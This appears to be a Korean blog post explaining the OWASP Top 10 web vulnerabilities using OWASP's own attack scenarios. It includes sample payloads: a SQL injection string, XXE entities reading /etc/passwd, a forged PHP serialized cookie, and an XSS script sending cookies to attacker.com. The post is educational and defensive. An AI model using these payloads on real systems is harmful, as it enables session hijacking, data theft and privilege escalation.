OWASP (Open Web Application Security Project) 란?
OWASP 는 웹 취약점, 보안 취약점, 악성 스크립트 등을 연구하는 보안 프로젝트이다.
OWASP TOP 10
OWASP 는 3년에서 4년마다 웹 어플리케이션 취약점 중 가장 영향력있고 위협적인 취약점 10개를 선정하여 발표한다. 최신 업데이트 목록은 2018년에 발표되었다. 현재의 OWASP Top 10 은 다음과 같다.
- Injection
- Broken Authentication
- Sensitive Data Exposure
- XML External Entities (XXE)
- Broken Access control
- Security misconfigurations
- Cross Site Scripting (XSS)
- Insecure Deserialization
- Using Components with known vulnerabilities
- Insufficient logging and monitoring
위의 10개의 취약점들에 대해서 알아보자!
1. Injection
인젝션은 공격자가 웹 어플리케이션으로 비정상적인 명령어, 쿼리 등을 보내 시스템에 접근할 수 있는 취약점이다. 공격자는 개발자의 의도와는 다른 접근으로 시스템의 데이터를 변조, 수정, 유출하는 악의적인 행동을 할 수 있다. 대표적으로 우리가 흔히 아는 SQL Injection 이 있다. Injection 취약점은 오래전부터 위협적인 취약점으로 알려져 많은 대응 방안이 나왔지만 여전히 이 취약점으로 인한 피해 사례가 발생하고 있다. 그 이유는 계속해서 새로운 Injection 기법이 나오기 때문도 있지만, 기존의 대응 방안을 제대로 수행하지 않고 있다는 점도 있다.
OWASP 에서 제시한 공격 시나리오를 살펴보자!
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
공격자는 브라우저에서 'id' 매개 변수 값을 수정하여 참인 조건을 만들어 보낸다. 가장 일반적인 SQL Injection 방식이다.
http://example.com/app/accountView?id=' or '1'='1
2. Broken Authentication (취약한 인증)
인증 및 세션 관리와 관련된 웹 어플리케이션의 기능이 잘못 구현되어 공격자가 암호, 키 또는 세션 토큰을 위험에 노출시키거나 일시적 또는 영구적으로 다른 사용자의 권한 획득을 위해 악용하도록 허용할 수 있는 취약점이다. 취약한 인증은 웹에서 매우 일반적으로 발견할 수 있으며 여려 유형이 존재한다. 예를 들어, brute force 공격이 허용된다거나, 약한 암호화를 사용하고 있다거나, 세션 ID 를 제대로 관리하지 않는다거나 등이 있다.
3. Sensitive Data Exposure (민감한 데이터 노출)
개인 식별 정보나 신용 정보가 대표적인 민감 데이터라고 할 수 있다. 웹 어플리케이션마다 중요한 민감 데이터를 취급하고 있을 것이며 이를 올바르게 보호하지 않는다면 공격자에게 노출될 수 있다. 민감한 데이터 노출은 저장되어 있는 데이터일 수도 있고 전송중인 데이터일 수도 있다. 데이터를 평문 전송하는 것이 그 예이다. 현재에도 많은 웹 어플리케이션의 암호화되어 있지 않는 평문 데이터들이 공격자에게 노출되어 있을 것이다.
OWASP 에서 제시한 공격 시나리오를 살펴보자!
시나리오 # 1 : 어플리케이션에서 자동 DB 암호화를 사용하여 DB 내의 신용카드 번호를 암호화 한다. 그러나 이 데이터는 검색 시 자동으로 해독되기 때문에 SQL Injection 으로 평문의 신용카드 번호를 검색할 수 있다.
시나리오 # 2 : 웹 사이트에서 모든 페이지에 대해 TLS를 사용하거나 적용하지 않거나 약한 암호화를 지원한다. 공격자는 네트워크 트래픽 (예 : 안전하지 않은 무선 네트워크)을 모니터링하고 연결을 HTTPS에서 HTTP로 다운 그레이드하고 요청을 차단하며 사용자의 세션 쿠키를 훔친다. 'POODLE Attack' 이라고 알려진 공격 기법이다. 그런 다음 공격자는 이 쿠키를 재생하고 인증된 사용자 세션을 가로 채서 사용자의 개인 데이터에 액세스하거나 수정한다. 그 외에도, 공격자는 송금 수령인과 같이 모든 전송 된 데이터를 변경할 수 있다.
시나리오 # 3 : 패스워드 DB 에서 salt 값을 사용하지 않거나 간단한 해시함수를 사용하여 비밀번호를 저장하게 되면 공격자가 파일 업로드 결함을 이용하여 비밀번호 DB 를 검색할 수 있다. 그리고 salt 값을 사용하지 않은 해시 암호화는 레인보우 테이블로 노출될 수 있다. 또한 간단하고 빠른 해쉬함수는 salt 값을 사용했더라도 노출될 가능성이 있다.
4. XML External Entities (XXE)
취약하게 설정된 XML parser에 의해 공격자가 XML 문서에서 외부 엔티티를 이용하여 공격자가 의도하는 외부 URL 을 실행시킨 뒤, 서버의 로컬파일 정보 등을 출력하거나 DOS 공격을 수행할 수 있는 취약점이다.
OWASP 에서 제시한 공격 시나리오를 살펴보자!
시나리오 # 1 : 공격자가 서버에서 데이터 추출을 시도한다.
<?xml version="1.0"?>
<!DOCTYPE example [
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<example>
<text>&xxe;</text>
</example>
위의 문서처럼 XXE 는 외부 엔티티를 선언해주기 위해 DTD 를 선언할 수 있어야 한다. XXE 공격의 자세한 예제는 나중에 별도로 글을 작성할 예정이다.
시나리오 # 2 : 공격자가 서버의 사설망을 찾으려 한다.
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
시나리오 # 3 : 공격자가 잠재적으로 끝이 없는 파일을 포함시켜 DOS 공격을 시도한다.
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
5. Broken Access Control (취약한 접근 통제)
인증된 사용자가 수행할 수 있는 작업에 대한 제한이 제대로 적용되어 있지 않다면, 공격자는 이를 악용하여 다른 사용자 계정에 접근하거나 중요 파일 열람, 다른 사용자 데이터 수정, 액세스 권한 변경 등과 같은 악의적인 행위를 할 수 있다. 대표적인 타겟이 바로 관리자 페이지이다. 접근 제한이 제대로 되어 있지 않는 관리자 페이지는 공격자의 공격 루트가 된다. SSH, FTP 와 같이 서버에 액세스할 수 있는 서비스들도 접근 제한이 제대로 되어 있지 않다면 공격자에게 악용될 수 있다.
OWASP 에서 제시한 공격 시나리오를 살펴보자!
시나리오 # 1 : 웹 어플리케이션에서 계정 정보에 엑세스하는 SQL 호출에서 확인되지 않은 데이터를 사용한다.
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
공격자가 acct 매개 변수 값을 원하는 계정 번호로 수정하여 보낼 수 있다면 모든 사용자 계정에 엑세스 할 수 있다는 시나리오이다.
http://example.com/app/accountInfo?acct=notmyacct
시나리오 # 2 : 공격자가 대상 URL 을 탐색한다.
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
인증되지 않은 사용자가 어느 한 페이지에 접근할 수 있는 시나리오이다. 관리자 페이지는 관리자만이 접근할 수 있어야 하지만 만약 접근 통제가 제대로 되어 있지 않다면 관리자 이외의 사람이 접근할 수 있다.
6. Security Misconfiguration (잘못된 보안 구성)
안전하지 않은 기본 구성, 불완전한 구성 또는 임시 구성, 개방된 클라우드 스토리지, 잘못 구성된 HTTP 헤더 및 민감한 정보가 포함된 자세한 에러 메시지 등으로 인한 취약점이다. 불필요한 기능 (포트, 서비스, 페이지, 계정) 등이 활성화 되어있으면 공격자의 공격루트가 된다. 그리고 자세한 오류 메시지는 Blind SQL Injection 과 같은 공격에 사용될 수 있다. 만약 시스템을 업그레이드 했다면 최신 보안 기능이 비활성화되어 있을 수도 있다.
OWASP 에서 제시한 공격 시나리오를 살펴보자!
시나리오 # 1 : 관리 콘솔의 기본 계정이 변경되지 않은 경우 공격자가 기본 암호로 로그인하여 정보를 획득할 수 있다.
시나리오 # 2 : 어플리케이션 서버의 디렉토리에 접근할 수 있도록 허용되어 있다면, 공격자는 컴파일 된 java 클래스를 찾아 다운로드 하여 코드를 보기 위해 디컴파일 및 리버싱을 수행한다. 그 다음 해당 웹에서 심각한 액세스 제어 결함을 찾는다.
시나리오 # 3 : 애플리케이션 서버의 구성을 통해 스택 추적과 같은 자세한 오류 메시지를 사용자에게 출력할 수 있다. 이로 인해 민감한 정보 또는 취약한 것으로 알려진 구성 요소 버전과 같은 근본적인 결함이 노출 될 수 있다
시나리오 # 4 : 클라우드 서비스 제공 업체는 다른 CSP 사용자가 인터넷에 공개하는 기본 공유 권한을 가지고 있다. 이를 통해 클라우드 스토리지에 저장된 민감한 데이터에 액세스 할 수 있다.
위의 시나리오 1, 2 는 내가 장비 취약점 분석 프로젝트를 수행하면서도 사용했던 시나리오이다.
7. Cross-Site Scripting (XSS)
XSS 는 공격자가 피해자의 브라우저에 악의적인 스크립트를 넣는 공격 기법이다. 공격자는 피해자의 브라우저에 스크립트를 실행하여 사용자 세션 탈취, 웹 사이트 변조, 악의적인 사이트로 이동할 수 있도록 허용할 수 있다.
OWASP 에서 제시한 공격 시나리오를 살펴보자!
시나리오 # 1 : 어플리케이션이 유효성 검증 또는 이스케이프 처리를 하지 않으면 공격자는 신뢰할 수 없는 데이터를 사용할 수 있다.
(String) page += "<input name='creditcard' type='TEXT'
value='" + request.getParameter("CC") + "'>";
공격자는 브라우저에서 'CC' 매개 변수를 다음과 같이 수정한다.
'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.
이 공격으로 인해 피해자의 세션 ID 가 공격자의 웹 사이트로 전송되어 공격자가 사용자의 현재 세션을 가로챌 수 있다.
8. Insecure Deserialization (안전하지 않은 역직렬화)
- 직렬화 : 객체를 직렬화하여 전송 가능한 형태로 만드는 것
- 역직렬화 : 저장된 파일을 읽거나 전송된 스트림 데이터를 읽어 원래 객체의 형태로 복원하는 것
데이터를 역직렬화하는 과정에서 원격코드 실행이나 권한 상승 등의 취약점이 발생할 수 있다.
OWASP 에서 제시한 공격 시나리오를 살펴보자!
시나리오 # 1 :PHP 포럼은 PHP 객체 직렬화를 사용하여 사용자의 ID, 역할, 비밀번호 해시 및 기타 상태를 포함하는 "super cookie"를 저장한다.
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
공격자는 직렬화된 개체를 변경하여 자신에게 관리자 권한을 부여할 수 있다.
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
9. Using Components with Known Vulnerabilities (알려진 취약점이 있는 구성 요소 사용)
라이브러리, 프레임워크 및 다른 소프트웨어 모듈 같은 컴포넌트는 어플리케이션과 같은 권한으로 실행된다. 만약에 취약한 컴포넌트가 악용된 경우, 이는 심각한 데이터 손실을 일으키거나 서버가 장악된다. 알려진 취약점이 있는 구성 요소를 사용하는 어플리케이션과 API는 어플리케이션 방어를 약화시키고 다양한 공격과 영향을 줄 수 있다.
10. Insufficient Logging & Monitoring (불충분한 로깅 및 모니터링)
불충분한 로깅 및 모니터링, 사고 대응의 비효율적인 통합 또는 누락과 함께 공격자는 시스템을 추가로 공격하고 지속성을 유지하며 더 많은 시스템을 중심으로 공격할 수 있도록 만들고, 데이터를 변조, 추출 또는 파괴할 수 있다.